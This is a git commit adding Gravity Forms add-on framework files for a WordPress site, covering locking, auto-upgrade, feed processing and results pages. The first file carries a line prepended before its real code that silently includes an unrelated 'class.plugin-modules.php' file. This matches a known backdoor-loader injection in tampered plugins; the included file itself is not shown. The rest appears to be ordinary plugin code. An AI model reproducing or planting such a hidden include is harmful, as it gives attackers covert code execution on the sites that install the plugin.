Initial commit

This commit is contained in:
Almira Krdzic
2018-08-06 15:18:02 +02:00
commit d86f748bc6
363 changed files with 130876 additions and 0 deletions

View File

@@ -0,0 +1,59 @@
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GFAddonLocking extends GFLocking {
protected $_strings;
/* @var GFAddOn $_addon */
protected $_addon;
/**
* e.g.
*
* array(
* "object_type" => 'contact',
* "capabilities" => array("gravityforms_contacts_edit_contacts"),
* "redirect_url" => admin_url("admin.php?page=gf_contacts"),
* "edit_url" => admin_url(sprintf("admin.php?page=gf_contacts&id=%d", $contact_id)),
* "strings" => $strings
* );
*
* @param array $config
* @param GFAddOn $addon
*/
public function __construct( $config, $addon ) {
$this->_addon = $addon;
$capabilities = isset( $config['capabilities'] ) ? $config['capabilities'] : array();
$redirect_url = isset( $config['redirect_url'] ) ? $config['redirect_url'] : '';
$edit_url = isset( $config['edit_url'] ) ? $config['edit_url'] : '';
$object_type = isset( $config['object_type'] ) ? $config['object_type'] : '';
$this->_strings = isset( $config['strings'] ) ? $config['strings'] : array();
parent::__construct( $object_type, $redirect_url, $edit_url, $capabilities );
}
public function get_strings() {
return array_merge( parent::get_strings(), $this->_strings );
}
protected function is_edit_page() {
return $this->_addon->is_locking_edit_page();
}
protected function is_list_page() {
return $this->_addon->is_locking_list_page();
}
protected function is_view_page() {
return $this->_addon->is_locking_view_page();
}
protected function get_object_id() {
return $this->_addon->get_locking_object_id();
}
protected function is_object_locked( $object_id ) {
return $this->is_object_locked( $object_id );
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,318 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GFAutoUpgrade {
protected $_version;
protected $_min_gravityforms_version;
protected $_slug;
protected $_title;
protected $_full_path;
protected $_path;
protected $_url;
protected $_is_gravityforms_supported;
public function __construct( $slug, $version, $min_gravityforms_version, $title, $full_path, $path, $url, $is_gravityforms_supported ) {
$this->_slug = $slug;
$this->_version = $version;
$this->_min_gravityforms_version = $min_gravityforms_version;
$this->_title = $title;
$this->_full_path = $full_path;
$this->_path = $path;
$this->_url = $url;
$this->_is_gravityforms_supported = $is_gravityforms_supported;
add_action( 'init', array( $this, 'init' ) );
}
public function init() {
if ( is_admin() ) {
GFCommon::load_gf_text_domain();
add_action( 'install_plugins_pre_plugin-information', array( $this, 'display_changelog' ), 9 );
add_action( 'gform_after_check_update', array( $this, 'flush_version_info' ) );
add_action( 'gform_updates', array( $this, 'display_updates' ) );
add_filter( 'gform_updates_list', array( $this, 'get_update_info' ) );
if ( RG_CURRENT_PAGE == 'plugins.php' ) {
add_action( 'after_plugin_row_' . $this->_path, array( $this, 'rg_plugin_row' ) );
}
}
// Check for updates. The check might not run the admin context. E.g. from WP-CLI.
add_filter( 'transient_update_plugins', array( $this, 'check_update' ) );
add_filter( 'site_transient_update_plugins', array( $this, 'check_update' ) );
// ManageWP premium update filters
add_filter( 'mwp_premium_update_notification', array( $this, 'premium_update_push' ) );
add_filter( 'mwp_premium_perform_update', array( $this, 'premium_update' ) );
}
public function rg_plugin_row() {
if ( ! $this->_is_gravityforms_supported ) {
$message = sprintf( esc_html__( 'Gravity Forms %s is required. Activate it now or %spurchase it today!%s', 'gravityforms' ), $this->_min_gravityforms_version, "<a href='https://www.gravityforms.com'>", '</a>' );
GFAddOn::display_plugin_message( $message, true );
} else {
$version_info = $this->get_version_info( $this->_slug );
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
$title = $this->_title;
if ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
$new_version = sprintf( esc_html__( 'There is a new version of %s available.', 'gravityforms' ), $title ) . sprintf( ' <a class="thickbox" title="%s" href="plugin-install.php?tab=plugin-information&plugin=%s&TB_iframe=true&width=640&height=808">', $title, $this->_slug ) . sprintf( esc_html__( 'View version %s Details', 'gravityforms' ), $version_info['version'] ) . '</a>. ';
} else {
$new_version = '';
}
$message = $new_version . sprintf( esc_html__( '%sRegister%s your copy of Gravity Forms to receive access to automatic upgrades and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ), '<a href="admin.php?page=gf_settings">', '</a>', '<a href="https://www.gravityforms.com">', '</a>' ) . '</div></td>';
GFAddOn::display_plugin_message( $message );
}
}
}
//Integration with ManageWP
public function premium_update_push( $premium_update ) {
if ( ! function_exists( 'get_plugin_data' ) ) {
include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}
$update = $this->get_version_info( $this->_slug );
if ( rgar( $update, 'is_valid_key' ) == true && version_compare( $this->_version, $update['version'], '<' ) ) {
$plugin_data = get_plugin_data( $this->_full_path );
$plugin_data['type'] = 'plugin';
$plugin_data['slug'] = $this->_path;
$plugin_data['new_version'] = isset( $update['version'] ) ? $update['version'] : false;
$premium_update[] = $plugin_data;
}
return $premium_update;
}
//Integration with ManageWP
public function premium_update( $premium_update ) {
if ( ! function_exists( 'get_plugin_data' ) ) {
include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
}
$update = $this->get_version_info( $this->_slug );
if ( rgar( $update, 'is_valid_key' ) == true && version_compare( $this->_version, $update['version'], '<' ) ) {
$plugin_data = get_plugin_data( $this->_full_path );
$plugin_data['slug'] = $this->_path;
$plugin_data['type'] = 'plugin';
$plugin_data['url'] = isset( $update['url'] ) ? $update['url'] : false; // OR provide your own callback function for managing the update
array_push( $premium_update, $plugin_data );
}
return $premium_update;
}
public function flush_version_info() {
$this->set_version_info( $this->_slug, false );
}
private function set_version_info( $plugin_slug, $version_info ) {
if ( function_exists( 'set_site_transient' ) ) {
set_site_transient( $plugin_slug . '_version', $version_info, 60 * 60 * 12 );
} else {
set_transient( $plugin_slug . '_version', $version_info, 60 * 60 * 12 );
}
}
public function check_update( $option ) {
$key = $this->get_key();
$version_info = $this->get_version_info( $this->_slug );
if ( rgar( $version_info, 'is_error' ) == '1' ) {
return $option;
}
if ( empty( $option->response[ $this->_path ] ) ) {
$option->response[ $this->_path ] = new stdClass();
}
//Empty response means that the key is invalid. Do not queue for upgrade
if ( ! rgar( $version_info, 'is_valid_key' ) || version_compare( $this->_version, $version_info['version'], '>=' ) ) {
unset( $option->response[ $this->_path ] );
} else {
$option->response[ $this->_path ]->plugin = $this->_path;
$option->response[ $this->_path ]->url = $this->_url;
$option->response[ $this->_path ]->slug = $this->_slug;
$option->response[ $this->_path ]->package = str_replace( '{KEY}', $key, $version_info['url'] );
$option->response[ $this->_path ]->new_version = $version_info['version'];
$option->response[ $this->_path ]->id = '0';
}
return $option;
}
// Displays current version details on plugins page and updates page
public function display_changelog() {
if ( $_REQUEST['plugin'] != $this->_slug ) {
return;
}
$change_log = $this->get_changelog();
echo $change_log;
exit;
}
private function get_changelog() {
$key = $this->get_key();
$body = "key={$key}";
$options = array( 'method' => 'POST', 'timeout' => 3, 'body' => $body );
$options['headers'] = array(
'Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ),
'Content-Length' => strlen( $body ),
'User-Agent' => 'WordPress/' . get_bloginfo( 'version' ),
'Referer' => get_bloginfo( 'url' ),
);
$raw_response = GFCommon::post_to_manager( 'changelog.php', $this->get_remote_request_params( $this->_slug, $key, $this->_version ), $options );
if ( is_wp_error( $raw_response ) || 200 != $raw_response['response']['code'] ) {
$text = sprintf( esc_html__( 'Oops!! Something went wrong.%sPlease try again or %scontact us%s.', 'gravityforms' ), '<br/>', "<a href='https://www.gravityforms.com/support/'>", '</a>' );
} else {
$text = $raw_response['body'];
if ( substr( $text, 0, 10 ) != '<!--GFM-->' ) {
$text = '';
}
}
return stripslashes( $text );
}
private function get_version_info( $offering, $use_cache = true ) {
$version_info = GFCommon::get_version_info( $use_cache );
$is_valid_key = rgar( $version_info, 'is_valid_key' ) && rgars( $version_info, "offerings/{$offering}/is_available" );
$info = array( 'is_valid_key' => $is_valid_key, 'version' => rgars( $version_info, "offerings/{$offering}/version" ), 'url' => rgars( $version_info, "offerings/{$offering}/url" ) );
return $info;
}
private function get_remote_request_params( $offering, $key, $version ) {
global $wpdb;
return sprintf( 'of=%s&key=%s&v=%s&wp=%s&php=%s&mysql=%s', urlencode( $offering ), urlencode( $key ), urlencode( $version ), urlencode( get_bloginfo( 'version' ) ), urlencode( phpversion() ), urlencode( $wpdb->db_version() ) );
}
private function get_key() {
if ( $this->_is_gravityforms_supported ) {
return GFCommon::get_key();
} else {
return '';
}
}
public function get_update_info( $updates ) {
$force_check = rgget( 'force-check' ) == 1;
$version_info = $this->get_version_info( $this->_slug, ! $force_check );
$plugin_file = $this->_path;
$upgrade_url = wp_nonce_url( 'update.php?action=upgrade-plugin&amp;plugin=' . urlencode( $plugin_file ), 'upgrade-plugin_' . $plugin_file );
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
$version_icon = 'dashicons-no';
$version_message = sprintf(
'<p>%s</p>',
sprintf(
esc_html( '%sRegister%s your copy of Gravity Forms to receive access to automatic updates and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ),
'<a href="admin.php?page=gf_settings">',
'</a>',
'<a href="https://www.gravityforms.com">',
'</a>'
)
);
} elseif ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . urlencode( $this->_slug ) . '&section=changelog&TB_iframe=true&width=600&height=800' );
$message_link_text = sprintf( esc_html__( 'View version %s details', 'gravityforms' ), $version_info['version'] );
$message_link = sprintf( '<a href="%s" class="thickbox" title="%s">%s</a>', esc_url( $details_url ), esc_attr( $this->_title ), $message_link_text );
$message = sprintf( esc_html__( 'There is a new version of %1$s available. %s.', 'gravityforms' ), $this->_title, $message_link );
$version_icon = 'dashicons-no';
$version_message = $message;
} else {
$version_icon = 'dashicons-yes';
$version_message = sprintf( esc_html__( 'Your version of %s is up to date.', 'gravityforms' ), $this->_title );
}
$updates[] = array(
'name' => esc_html( $this->_title ),
'is_valid_key' => rgar( $version_info, 'is_valid_key' ),
'path' => $this->_path,
'slug' => $this->_slug,
'latest_version' => $version_info['version'],
'installed_version' => $this->_version,
'upgrade_url' => $upgrade_url,
'download_url' => $version_info['url'],
'version_icon' => $version_icon,
'version_message' => $version_message,
);
return $updates;
}
public function display_updates() {
?>
<div class="wrap <?php echo GFCommon::get_browser_class() ?>">
<h2><?php esc_html_e( $this->_title ); ?></h2>
<?php
$force_check = rgget( 'force-check' ) == 1;
$version_info = $this->get_version_info( $this->_slug, ! $force_check );
if ( ! rgar( $version_info, 'is_valid_key' ) ) {
?>
<div class="gf_update_expired alert_red">
<?php printf( esc_html__( '%sRegister%s your copy of Gravity Forms to receive access to automatic updates and support. Need a license key? %sPurchase one now%s.', 'gravityforms' ), '<a href="admin.php?page=gf_settings">','</a>','<a href="https://www.gravityforms.com">', '</a>' ); ?>
</div>
<?php
} elseif ( version_compare( $this->_version, $version_info['version'], '<' ) ) {
if ( rgar( $version_info, 'is_valid_key' ) ) {
$plugin_file = $this->_path;
$upgrade_url = wp_nonce_url( 'update.php?action=upgrade-plugin&amp;plugin=' . urlencode( $plugin_file ), 'upgrade-plugin_' . $plugin_file );
$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . urlencode( $this->_slug ) . '&section=changelog&TB_iframe=true&width=600&height=800' );
$message_link_text = sprintf( esc_html__( 'View version %s details', 'gravityforms' ), $version_info['version'] );
$message_link = sprintf( '<a href="%s" class="thickbox" title="%s">%s</a>', esc_url( $details_url ), esc_attr( $this->_title ), $message_link_text );
$message = sprintf( esc_html__( 'There is a new version of %1$s available. %s.', 'gravityforms' ), $this->_title, $message_link );
?>
<div class="gf_update_outdated alert_yellow">
<?php echo $message . ' <p>' . sprintf( esc_html__( 'You can update to the latest version automatically or download the update and install it manually. %sUpdate Automatically%s %sDownload Update%s', 'gravityforms' ), "</p><a class='button-primary' href='{$upgrade_url}'>", '</a>', "&nbsp;<a class='button' href='{$version_info['url']}'>", '</a>' ); ?>
</div>
<?php
}
} else {
?>
<div class="gf_update_current alert_green">
<?php printf( esc_html__( 'Your version of %s is up to date.', 'gravityforms' ), $this->_title ); ?>
</div>
<?php
}
?>
</div>
<?php
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,271 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
if ( ! class_exists( 'WP_Async_Request' ) ) {
require_once( GFCommon::get_base_path() . '/includes/libraries/wp-async-request.php' );
}
if ( ! class_exists( 'GF_Background_Process' ) ) {
require_once( GFCommon::get_base_path() . '/includes/libraries/gf-background-process.php' );
}
/**
* GF_Feed_Processor Class.
*
* @since 2.2
*/
class GF_Feed_Processor extends GF_Background_Process {
/**
* Contains an instance of this class, if available.
*
* @since 2.2
* @access private
* @var object $_instance If available, contains an instance of this class.
*/
private static $_instance = null;
/**
* The action name.
*
* @since 2.2
* @access protected
* @var string
*/
protected $action = 'gf_feed_processor';
/**
* Get instance of this class.
*
* @since 2.2
* @access public
* @static
*
* @return GF_Feed_Processor
*/
public static function get_instance() {
if ( null === self::$_instance ) {
self::$_instance = new self;
}
return self::$_instance;
}
/**
* Task
*
* @since 2.2
* @access protected
*
* Override this method to perform any actions required on each
* queue item. Return the modified item for further processing
* in the next pass through. Or, return false to remove the
* item from the queue.
*
* @param array $item The task arguments: addon, feed, entry_id, and form_id.
*
* @return bool
*/
protected function task( $item ) {
// Extract items.
$addon = $item['addon'];
$feed = $item['feed'];
$entry = GFAPI::get_entry( $item['entry_id'] );
$form = GFAPI::get_form( $item['form_id'] );
// Remove task if entry cannot be found.
if ( is_wp_error( $entry ) ) {
call_user_func( array(
$addon,
'log_debug',
), __METHOD__ . "(): attempted feed (#{$feed['id']} - {$feed_name}) for entry #{$item['entry_id']} for {$addon->get_slug()} but entry could not be found. Bailing." );
return false;
}
// Get feed name.
$feed_name = rgars( $feed, 'meta/feed_name' ) ? $feed['meta']['feed_name'] : rgars( $feed, 'meta/feedName' );
$processed_feeds = $addon->get_feeds_by_entry( $entry['id'] );
if ( is_array( $processed_feeds ) && in_array( $feed['id'], $processed_feeds ) ) {
call_user_func( array(
$addon,
'log_debug',
), __METHOD__ . "(): already processed feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()}. Bailing." );
return false;
}
$item = $this->increment_attempts( $item );
// Remove task if it was attempted before but failed to complete.
if ( $item['attempts'] > 1 ) {
call_user_func( array(
$addon,
'log_debug',
), __METHOD__ . "(): attempted feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()} too many times. Bailing." );
return false;
}
// Use the add-on to log the start of feed processing.
call_user_func( array(
$addon,
'log_debug',
), __METHOD__ . "(): Starting to process feed (#{$feed['id']} - {$feed_name}) for entry #{$entry['id']} for {$addon->get_slug()}. Attempt number: " . $item['attempts'] );
try {
// Maybe convert PHP errors to exceptions so that they get caught.
// This will catch some fatal errors, but not all.
// Errors that are not caught will halt execution of subsequent feeds, but those will be
// executed during the next cron cycles, which happens every 5 minutes
set_error_handler( array( $this, 'custom_error_handler' ) );
// Process feed.
$returned_entry = call_user_func( array( $addon, 'process_feed' ), $feed, $entry, $form );
// Back to built-in error handler.
restore_error_handler();
} catch ( Exception $e ) {
// Back to built-in error handler.
restore_error_handler();
// Log the exception.
call_user_func( array(
$addon,
'log_error',
), __METHOD__ . "(): Unable to process feed due to error: {$e->getMessage()}" );
return false;
}
// If returned value from the process feed call is an array containing an ID, update entry and set the entry to its value.
if ( is_array( $returned_entry ) && rgar( $returned_entry, 'id' ) ) {
// Set entry to returned entry.
$entry = $returned_entry;
// Save updated entry.
if ( $entry !== $returned_entry ) {
GFAPI::update_entry( $entry );
}
}
/**
* Perform a custom action when a feed has been processed.
*
* @since 2.0
*
* @param array $feed The feed which was processed.
* @param array $entry The current entry object, which may have been modified by the processed feed.
* @param array $form The current form object.
* @param GFAddOn $addon The current instance of the GFAddOn object which extends GFFeedAddOn or GFPaymentAddOn (i.e. GFCoupons, GF_User_Registration, GFStripe).
*/
do_action( 'gform_post_process_feed', $feed, $entry, $form, $addon );
do_action( "gform_{$feed['addon_slug']}_post_process_feed", $feed, $entry, $form, $addon );
// Log that Add-On has been fulfilled.
call_user_func( array(
$addon,
'log_debug',
), __METHOD__ . '(): Marking entry #' . $entry['id'] . ' as fulfilled for ' . $feed['addon_slug'] );
gform_update_meta( $entry['id'], "{$feed['addon_slug']}_is_fulfilled", true );
// Get current processed feeds.
$meta = gform_get_meta( $entry['id'], 'processed_feeds' );
// If no feeds have been processed for this entry, initialize the meta array.
if ( empty( $meta ) ) {
$meta = array();
}
// Add this feed to this Add-On's processed feeds.
$meta[ $feed['addon_slug'] ][] = $feed['id'];
// Update the entry meta.
gform_update_meta( $entry['id'], 'processed_feeds', $meta );
return false;
}
/**
* Custom error handler to convert any errors to an exception.
*
* @since 2.2
* @access public
*
* @param int $number The level of error raised.
* @param string $string The error message, as a string.
* @param string $file The filename the error was raised in.
* @param int $line The line number the error was raised at.
* @param array $context An array that points to the active symbol table at the point the error occurred.
*
* @throws ErrorException
*
* @return false
*/
public function custom_error_handler( $number, $string, $file, $line, $context ) {
// Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc).
$error_is_enabled = (bool) ( $number & ini_get( 'error_reporting' ) );
// Throw an Error Exception, to be handled by whatever Exception handling logic is available in this context.
if ( in_array( $number, array( E_USER_ERROR, E_RECOVERABLE_ERROR ) ) && $error_is_enabled ) {
throw new ErrorException( $errstr, 0, $errno, $errfile, $errline );
} elseif ( $error_is_enabled ) {
// Log the error if it's enabled. Otherwise, just ignore it.
error_log( $string, 0 );
// Make sure this ends up in $php_errormsg, if appropriate.
return false;
}
}
protected function increment_attempts( $item ) {
$batch = $this->get_batch();
$item_feed = rgar( $item, 'feed' );
$item_entry_id = rgar( $item, 'entry_id' );
foreach ( $batch->data as $key => $task ) {
$task_feed = rgar( $task, 'feed' );
$task_entry_id = rgar( $task, 'entry_id' );
if ( $item_feed['id'] === $task_feed['id'] && $item_entry_id === $task_entry_id ) {
$batch->data[ $key ]['attempts'] = isset( $batch->data[ $key ]['attempts'] ) ? $batch->data[ $key ]['attempts'] + 1 : 1;
$item['attempts'] = $batch->data[ $key ]['attempts'];
break;
}
}
$this->update( $batch->key, $batch->data );
return $item;
}
}
/**
* Returns an instance of the GF_Feed_Processor class
*
* @see GF_Feed_Processor::get_instance()
* @return object GF_Feed_Processor
*/
function gf_feed_processor() {
return GF_Feed_Processor::get_instance();
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,944 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
if ( ! class_exists( 'GFResults' ) ) {
class GFResults {
protected $_slug;
protected $_title;
protected $_icon;
protected $_callbacks;
protected $_capabilities;
protected $_search_title;
public function __construct( $slug, $config ) {
$this->_slug = $slug;
$this->_title = rgar( $config, 'title' );
$this->_icon = rgar( $config, 'icon' );
$this->_search_title = rgempty( 'search_title', $config ) ? esc_html__( 'Results Filters', 'gravityforms' ) : rgar( $config, 'search_title' );
$this->_callbacks = isset( $config['callbacks'] ) ? $config['callbacks'] : array();
$this->_capabilities = isset( $config['capabilities'] ) ? $config['capabilities'] : array();
}
public function init() {
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) ) {
return;
}
// is any GF page
if ( GFForms::is_gravity_page() ) {
// add top toolbar menu item
add_filter( 'gform_toolbar_menu', array( $this, 'add_toolbar_menu_item' ), 10, 2 );
// add custom form action
add_filter( 'gform_form_actions', array( $this, 'add_form_action' ), 10, 2 );
}
// is results page
if ( rgget( 'view' ) == "gf_results_{$this->_slug}" ) {
// add the results view
add_action( 'gform_entries_view', array( $this, 'add_view' ), 10, 2 );
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_scripts' ) );
// tooltips
require_once( GFCommon::get_base_path() . '/tooltips.php' );
add_filter( 'gform_tooltips', array( $this, 'add_tooltips' ) );
}
}
public function enqueue_admin_scripts() {
wp_enqueue_script( 'jquery-ui-resizable' );
wp_enqueue_script( 'jquery-ui-datepicker' );
wp_enqueue_script( 'google_charts' );
wp_enqueue_style( 'gaddon_results_css' );
wp_enqueue_script( 'gaddon_results_js' );
$this->localize_results_scripts();
}
public static function localize_results_scripts() {
// Get current page protocol
$protocol = isset( $_SERVER['HTTPS'] ) ? 'https://' : 'http://';
// Output admin-ajax.php URL with same protocol as current page
$vars = array(
'ajaxurl' => admin_url( 'admin-ajax.php', $protocol ),
'imagesUrl' => GFCommon::get_base_url() . '/images'
);
wp_localize_script( 'gaddon_results_js', 'gresultsVars', $vars );
$strings = array(
'ajaxError' => esc_html__( 'Error retrieving results. If the problem persists, please contact support.', 'gravityforms' )
);
wp_localize_script( 'gaddon_results_js', 'gresultsStrings', $strings );
}
private function get_fields( $form ) {
return isset( $this->_callbacks['fields'] ) ? call_user_func( $this->_callbacks['fields'], $form ) : $form['fields'];
}
public function add_form_action( $actions, $form_id ) {
return $this->filter_menu_items( $actions, $form_id, true );
}
public function add_toolbar_menu_item( $menu_items, $form_id ) {
return $this->filter_menu_items( $menu_items, $form_id, false );
}
public function filter_menu_items( $menu_items, $form_id, $compact ) {
$form_meta = GFFormsModel::get_form_meta( $form_id );
$results_fields = $this->get_fields( $form_meta );
if ( false === empty( $results_fields ) ) {
$form_id = $form_meta['id'];
$link_class = '';
if ( rgget( 'page' ) == 'gf_new_form' ) {
$link_class = 'gf_toolbar_disabled';
} elseif ( rgget( 'page' ) == 'gf_entries' && rgget( 'view' ) == 'gf_results_' . $this->_slug ) {
$link_class = 'gf_toolbar_active';
}
$id = rgget( 'id' );
if ( empty( $id ) ) {
//on the form list page, do not use icons
$icon = '';
} else {
$icon = $this->_icon;
if ( empty( $icon ) ) {
$icon = '<i class="fa fa-bar-chart-o fa-lg"></i>';
}
}
$sub_menu_items = array();
$sub_menu_items[] = array(
'label' => $this->_title,
'icon' => $icon,
'title' => esc_html__( 'View results generated by this form', 'gravityforms' ),
'link_class' => $link_class,
'url' => admin_url( "admin.php?page=gf_entries&view=gf_results_{$this->_slug}&id={$form_id}" ),
'capabilities' => $this->_capabilities,
);
$duplicate_submenus = wp_filter_object_list( rgars( $menu_items, 'results/sub_menu_items' ), array( 'label' => $sub_menu_items[0]['label'] ) );
if ( count( $duplicate_submenus ) > 0 ) {
return $menu_items;
}
// If there's already a menu item with the key "results" then merge the two.
if ( isset( $menu_items['results'] ) ) {
$existing_link_class = $menu_items['results']['link_class'];
$link_class == empty( $existing_link_class ) ? $link_class : $existing_link_class;
$existing_capabilities = $menu_items['results']['capabilities'];
$merged_capabilities = array_merge( $existing_capabilities, $this->_capabilities );
$existing_sub_menu_items = $menu_items['results']['sub_menu_items'];
$merged_sub_menu_items = array_merge( $existing_sub_menu_items, $sub_menu_items );
$menu_items['results']['link_class'] = $link_class;
$menu_items['results']['capabilities'] = $merged_capabilities;
$menu_items['results']['sub_menu_items'] = $merged_sub_menu_items;
$menu_items['results']['label'] = esc_html__( 'Results', 'gravityforms' );
$menu_items['results']['icon'] = '<i class="fa fa-bar-chart-o fa-lg"></i>';
} else {
// so far during the page cycle this is the only menu item for this key
$menu_items['results'] = array(
'label' => $compact ? esc_html__( 'Results', 'gravityforms' ) : $this->_title,
'icon' => $icon,
'title' => esc_attr__( 'View results generated by this form', 'gravityforms' ),
'url' => '',
'onclick' => 'return false;',
'onkeypress' => 'return false;',
'menu_class' => 'gf_form_toolbar_results',
'link_class' => $link_class,
'capabilities' => $this->_capabilities,
'sub_menu_items' => $sub_menu_items,
'priority' => 750,
);
}
}
return $menu_items;
}
public function add_view( $view, $form_id ) {
if ( $view == 'gf_results_' . $this->_slug ) {
$form_id = absint( $form_id );
GFResults::results_page( $form_id, $this->_title, 'gf_entries', $view );
}
}
public function results_page( $form_id, $page_title, $gf_page, $gf_view ) {
$form_id = absint( $form_id );
if ( empty( $form_id ) ) {
$forms = RGFormsModel::get_forms();
if ( ! empty( $forms ) ) {
$form_id = $forms[0]->id;
}
}
$form = GFFormsModel::get_form_meta( $form_id );
$form = gf_apply_filters( array( 'gform_form_pre_results', $form_id ), $form );
// Set up filter vars
$start_date = preg_replace( '/[^0-9-]/', '', rgget( 'start' ) );
$end_date = preg_replace( '/[^0-9-]/', '', rgget( 'end' ) );
$all_fields = $form['fields'];
$filter_settings = GFCommon::get_field_filter_settings( $form );
$filter_settings = apply_filters( 'gform_filters_pre_results', $filter_settings, $form );
$filter_settings = array_values( $filter_settings ); // reset the numeric keys in case some filters have been unset
$filter_fields = rgget( 'f' );
$filter_operators = rgget( 'o' );
$filter_values = rgget( 'v' );
$filters = array();
$init_vars = array();
if ( ! empty( $filter_fields ) ) {
$init_vars['mode'] = rgget( 'mode' );
foreach ( $filter_fields as $i => $filter_field ) {
$filters[ $i ]['field'] = $filter_field;
$filters[ $i ]['operator'] = $filter_operators[ $i ];
$filters[ $i ]['value'] = $filter_values[ $i ];
}
$init_vars['filters'] = $filters;
}
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';
$admin_css_url = GFCommon::get_base_url() . "/css/admin{$min}.css?ver=" . GFForms::$version;
?>
<script type="text/javascript">
var gresultsFields = <?php echo json_encode( $all_fields ); ?>;
var gresultsFilterSettings = <?php echo json_encode( $filter_settings ); ?>;
var gresultsInitVars = <?php echo json_encode( $init_vars ); ?>;
<?php GFCommon::gf_global() ?>
<?php GFCommon::gf_vars() ?>
</script>
<link rel="stylesheet"
href="<?php echo esc_url( $admin_css_url ); ?>"
type="text/css"/>
<div class="wrap gforms_edit_form <?php echo GFCommon::get_browser_class() ?>">
<?php GFCommon::form_page_title( $form ); ?>
<?php GFCommon::display_dismissible_message(); ?>
<?php GFForms::top_toolbar(); ?>
<?php if ( false === empty( $all_fields ) ) : ?>
<div id="poststuff" class="metabox-holder has-right-sidebar">
<div id="side-info-column" class="inner-sidebar">
<div id="gresults-results-filter" class="postbox">
<h3 style="cursor: default;"><?php echo $this->_search_title ?></h3>
<div id="gresults-results-filter-content">
<form id="gresults-results-filter-form" action="" method="GET">
<?php wp_nonce_field( 'gf_results', '_gf_results_nonce' ); ?>
<input type="hidden" id="gresults-page-slug" name="page"
value="<?php echo esc_attr( $gf_page ); ?>">
<input type="hidden" id="gresults-view-slug" name="view"
value="<?php echo esc_attr( $gf_view ); ?>">
<input type="hidden" id="gresults-form-id" name="id"
value="<?php echo esc_attr( $form_id ); ?>">
<?php
$filter_ui = array(
'fields' => array(
'label' => esc_attr__( 'Filters', 'gravityforms' ),
'tooltip' => 'gresults_filters',
'markup' => '<div id="gresults-results-field-filters-container">
<!-- placeholder populated by js -->
</div>'
),
'date_range' => array(
'label' => esc_attr__( 'Date Range', 'gravityforms' ),
'tooltip' => 'gresults_date_range',
'markup' => '<div style="width:90px; float:left; ">
<label
for="gresults-results-filter-date-start">' . esc_html__( 'Start', 'gravityforms' ) . '</label>
<input type="text" id="gresults-results-filter-date-start" name="start"
style="width:80px"
class="gresults-datepicker"
value="' . esc_attr( $start_date ) . '"/>
</div>
<div style="width:90px; float:left; ">
<label
for="gresults-results-filter-date-end">' . esc_html__( 'End', 'gravityforms' ) . '</label>
<input type="text" id="gresults-results-filter-date-end" name="end"
style="width:80px"
class="gresults-datepicker"
value="' . esc_attr( $end_date ) . '"/>
</div>'
)
);
$filter_ui = apply_filters( 'gform_filter_ui', $filter_ui, $form_id, $page_title, $gf_page, $gf_view );
foreach ( $filter_ui as $name => $filter ) {
?>
<div class='gresults-results-filter-section-label'>
<?php echo $filter['label'] ?>
&nbsp;<?php gform_tooltip( rgar( $filter, 'tooltip' ), 'tooltip_bottomleft' ) ?>
</div>
<?php
echo $filter['markup'];
}
?>
<br style="clear:both"/>
<div id="gresults-results-filter-buttons">
<input type="submit" id="gresults-results-filter-submit-button"
class="button button-primary button-large"
value="<?php esc_attr_e( 'Apply filters', 'gravityforms' ); ?>">
<input type="button" id="gresults-results-filter-clear-button"
class="button button-secondary button-large"
value="<?php esc_attr_e( 'Clear', 'gravityforms' ); ?>"
onclick="gresults.clearFilterForm();"
onkeypress="gresults.clearFilterForm();">
<div class="gresults-filter-loading"
style="display:none; float:right; margin-top:5px;">
<i class='gficon-gravityforms-spinner-icon gficon-spin'></i>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="gresults-filter-loading" style="display:none;margin:0 5px 10px 0;">
<i class='gficon-gravityforms-spinner-icon gficon-spin'></i>&nbsp;
<a href="javascript:void(0);" onclick="javascript:gresultsAjaxRequest.abort()" onkeypress="javascript:gresultsAjaxRequest.abort()"><?php esc_html_e( 'Cancel', 'gravityforms' ); ?></a>
</div>
<div id="gresults-results-wrapper">
<div id="gresults-results">&nbsp;
</div>
</div>
<?php
else :
_e( 'This form does not have any fields that can be used for results', 'gravityforms' );
endif ?>
</div>
<?php
}
public static function add_tooltips( $tooltips ) {
$tooltips['gresults_total_score'] = '<h6>' . esc_html__( 'Total Score', 'gravityforms' ) . '</h6>' . esc_html__( 'Scores are weighted calculations. Items ranked higher are given a greater score than items that are ranked lower. The total score for each item is the sum of the weighted scores.', 'gravityforms' );
$tooltips['gresults_agg_rank'] = '<h6>' . esc_html__( 'Aggregate Rank', 'gravityforms' ) . '</h6>' . esc_html__( 'The aggregate rank is the overall rank for all entries based on the weighted scores for each item.', 'gravityforms' );
$tooltips['gresults_date_range'] = '<h6>' . esc_html__( 'Date Range', 'gravityforms' ) . '</h6>' . esc_html__( 'Date Range is optional, if no date range is specified it will be ignored.', 'gravityforms' );
